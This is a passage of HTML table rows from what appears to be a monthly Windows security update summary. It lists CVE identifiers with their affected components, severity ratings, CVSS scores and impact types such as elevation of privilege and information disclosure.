 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
